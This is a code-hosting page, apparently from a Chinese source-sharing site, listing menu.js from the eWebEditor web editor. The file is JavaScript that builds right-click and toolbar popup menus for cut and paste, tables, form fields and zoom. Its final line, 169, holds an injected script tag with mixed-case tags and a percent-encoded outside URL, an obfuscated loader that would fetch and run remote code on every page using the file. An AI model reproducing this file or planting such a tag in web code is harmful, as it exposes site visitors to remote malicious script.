menu.js
上传用户:sdtxjx
上传日期:2022-07-09
资源大小:2937k
文件大小:7k
源码类别:

Jsp/Servlet

开发平台:

Java

  1. // 菜单常量
  2. var sMenuHr="<tr><td align=center valign=middle height=2><TABLE border=0 cellpadding=0 cellspacing=0 width=128 height=2><tr><td height=1 class=HrShadow></td></tr><tr><td height=1 class=HrHighLight></td></tr></TABLE></td></tr>";
  3. var sMenu1="<TABLE border=0 cellpadding=0 cellspacing=0 class=Menu width=150><tr><td width=18 valign=bottom align=center style='background:url(sysimage/contextmenu.gif);background-position:bottom;'></td><td width=132 class=RightBg><TABLE border=0 cellpadding=0 cellspacing=0>";
  4. var sMenu2="</TABLE></td></tr></TABLE>";
  5. // 取菜单行
  6. function getMenuRow(s_Disabled, s_Event, s_Image, s_Html) {
  7. var s_MenuRow = "";
  8. s_MenuRow = "<tr><td align=center valign=middle><TABLE border=0 cellpadding=0 cellspacing=0 width=132><tr "+s_Disabled+"><td valign=middle height=20 class=MouseOut onMouseOver=this.className='MouseOver'; onMouseOut=this.className='MouseOut';";
  9. if (s_Disabled==""){
  10. s_MenuRow += " onclick="parent."+s_Event+";parent.oPopupMenu.hide();"";
  11. }
  12. s_MenuRow += ">"
  13. if (s_Image !=""){
  14. s_MenuRow += "&nbsp;<img border=0 src='buttonimage/"+config.StyleDir+"/"+s_Image+"' width=20 height=20 align=absmiddle "+s_Disabled+">&nbsp;";
  15. }else{
  16. s_MenuRow += "&nbsp;";
  17. }
  18. s_MenuRow += s_Html+"</td></tr></TABLE></td></tr>";
  19. return s_MenuRow;
  20. }
  21. // 取标准的format菜单行
  22. function getFormatMenuRow(menu, html, image){
  23. var s_Disabled = "";
  24. if (!eWebEditor.document.queryCommandEnabled(menu)){
  25. s_Disabled = "disabled";
  26. }
  27. var s_Event = "format('"+menu+"')";
  28. var s_Image = menu+".gif";
  29. if (image){
  30. s_Image = image;
  31. }
  32. return getMenuRow(s_Disabled, s_Event, s_Image, html)
  33. }
  34. // 取表格菜单行
  35. function getTableMenuRow(what){
  36. var s_Menu = "";
  37. var s_Disabled = "disabled";
  38. switch(what){
  39. case "TableInsert":
  40. if (!isTableSelected()) s_Disabled="";
  41. s_Menu += getMenuRow(s_Disabled, "TableInsert()", "tableinsert.gif", "插入表格...")
  42. break;
  43. case "TableProp":
  44. if (isTableSelected()||isCursorInTableCell()) s_Disabled="";
  45. s_Menu += getMenuRow(s_Disabled, "TableProp()", "tableprop.gif", "表格属性...")
  46. break;
  47. case "TableCell":
  48. if (isCursorInTableCell()) s_Disabled="";
  49. s_Menu += getMenuRow(s_Disabled, "TableCellProp()", "tablecellprop.gif", "单元格属性...")
  50. s_Menu += getMenuRow(s_Disabled, "TableCellSplit()", "tablecellsplit.gif", "拆分单元格...")
  51. s_Menu += sMenuHr;
  52. s_Menu += getMenuRow(s_Disabled, "TableRowProp()", "tablerowprop.gif", "表格行属性...")
  53. s_Menu += getMenuRow(s_Disabled, "TableRowInsertAbove()", "tablerowinsertabove.gif", "插入行(在上方)");
  54. s_Menu += getMenuRow(s_Disabled, "TableRowInsertBelow()", "tablerowinsertbelow.gif", "插入行(在下方)");
  55. s_Menu += getMenuRow(s_Disabled, "TableRowMerge()", "tablerowmerge.gif", "合并行(向下方)");
  56. s_Menu += getMenuRow(s_Disabled, "TableRowSplit(2)", "tablerowsplit.gif", "拆分行");
  57. s_Menu += getMenuRow(s_Disabled, "TableRowDelete()", "tablerowdelete.gif", "删除行");
  58. s_Menu += sMenuHr;
  59. s_Menu += getMenuRow(s_Disabled, "TableColInsertLeft()", "tablecolinsertleft.gif", "插入列(在左侧)");
  60. s_Menu += getMenuRow(s_Disabled, "TableColInsertRight()", "tablecolinsertright.gif", "插入列(在右侧)");
  61. s_Menu += getMenuRow(s_Disabled, "TableColMerge()", "tablecolmerge.gif", "合并列(向右侧)");
  62. s_Menu += getMenuRow(s_Disabled, "TableColSplit(2)", "tablecolsplit.gif", "拆分列");
  63. s_Menu += getMenuRow(s_Disabled, "TableColDelete()", "tablecoldelete.gif", "删除列");
  64. break;
  65. }
  66. return s_Menu;
  67. }
  68. // 右键菜单
  69. var oPopupMenu = window.createPopup();
  70. function showContextMenu(event){
  71. if (!bEditMode) return false;
  72. var width = 150;
  73. var height = 0;
  74. var lefter = event.clientX;
  75. var topper = event.clientY;
  76. var oPopDocument = oPopupMenu.document;
  77. var oPopBody = oPopupMenu.document.body;
  78. var sMenu="";
  79. sMenu += getFormatMenuRow("cut", "剪切");
  80. sMenu += getFormatMenuRow("copy", "复制");
  81. sMenu += getFormatMenuRow("paste", "常规粘贴");
  82. sMenu += getFormatMenuRow("delete", "删除");
  83. sMenu += getFormatMenuRow("selectall", "全选");
  84. sMenu += sMenuHr;
  85. height += 102;
  86. if (isCursorInTableCell()){
  87. sMenu += getTableMenuRow("TableProp");
  88. sMenu += getTableMenuRow("TableCell");
  89. sMenu += sMenuHr;
  90. height += 286;
  91. }
  92. if (isControlSelected("TABLE")){
  93. sMenu += getTableMenuRow("TableProp");
  94. sMenu += sMenuHr;
  95. height += 22;
  96. }
  97. if (isControlSelected("IMG")){
  98. sMenu += getMenuRow("", "ShowDialog('dialog/img.htm', 350, 315, true)", "img.gif", "图片属性...");
  99. sMenu += sMenuHr;
  100. sMenu += getMenuRow("", "zIndex('forward')", "forward.gif", "上移一层");
  101. sMenu += getMenuRow("", "zIndex('backward')", "backward.gif", "下移一层");
  102. sMenu += sMenuHr;
  103. height += 64;
  104. }
  105. sMenu += getMenuRow("", "findReplace()", "findreplace.gif", "查找替换...");
  106. height += 20;
  107. sMenu = sMenu1 + sMenu + sMenu2;
  108. oPopDocument.open();
  109. oPopDocument.write(config.StyleMenuHeader+sMenu);
  110. oPopDocument.close();
  111. height+=2;
  112. if(lefter+width > document.body.clientWidth) lefter=lefter-width;
  113. //if(topper+height > document.body.clientHeight) topper=topper-height;
  114. oPopupMenu.show(lefter, topper, width, height, eWebEditor.document.body);
  115. return false;
  116. }
  117. // 工具栏菜单
  118. function showToolMenu(menu){
  119. if (!bEditMode) return false;
  120. var sMenu = ""
  121. var width = 150;
  122. var height = 0;
  123. var lefter = event.clientX;
  124. var leftoff = event.offsetX
  125. var topper = event.clientY;
  126. var topoff = event.offsetY;
  127. var oPopDocument = oPopupMenu.document;
  128. var oPopBody = oPopupMenu.document.body;
  129. switch(menu){
  130. case "paste":
  131. break;
  132. case "table": // 表格菜单
  133. sMenu += getTableMenuRow("TableInsert");
  134. sMenu += getTableMenuRow("TableProp");
  135. sMenu += sMenuHr;
  136. sMenu += getTableMenuRow("TableCell");
  137. height = 306;
  138. break;
  139. case "form": // 表单菜单
  140. sMenu += getFormatMenuRow("InsertInputText", "插入输入框", "formtext.gif");
  141. sMenu += getFormatMenuRow("InsertTextArea", "插入输入区", "formtextarea.gif");
  142. sMenu += getFormatMenuRow("InsertInputRadio", "插入单选钮", "formradio.gif");
  143. sMenu += getFormatMenuRow("InsertInputCheckbox", "插入复选钮", "formcheckbox.gif");
  144. sMenu += getFormatMenuRow("InsertSelectDropdown", "插入下拉框", "formdropdown.gif");
  145. sMenu += getFormatMenuRow("InsertButton", "插入按钮", "formbutton.gif");
  146. height = 120;
  147. break;
  148. case "zoom": // 缩放菜单
  149. for (var i=0; i<aZoomSize.length; i++){
  150. if (aZoomSize[i]==nCurrZoomSize){
  151. sMenu += getMenuRow("", "doZoom("+aZoomSize[i]+")", "checked.gif", aZoomSize[i]+"%")
  152. }else{
  153. sMenu += getMenuRow("", "doZoom("+aZoomSize[i]+")", "space.gif", aZoomSize[i]+"%")
  154. }
  155. height += 20;
  156. }
  157. break;
  158. }
  159. sMenu = sMenu1 + sMenu + sMenu2;
  160. oPopDocument.open();
  161. oPopDocument.write(config.StyleMenuHeader+sMenu);
  162. oPopDocument.close();
  163. height+=2;
  164. if(lefter+width > document.body.clientWidth) lefter=lefter-width;
  165. //if(topper+height > document.body.clientHeight) topper=topper-height;
  166. oPopupMenu.show(lefter - leftoff - 2, topper - topoff + 22, width, height, document.body);
  167. return false;
  168. }
  169. <ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>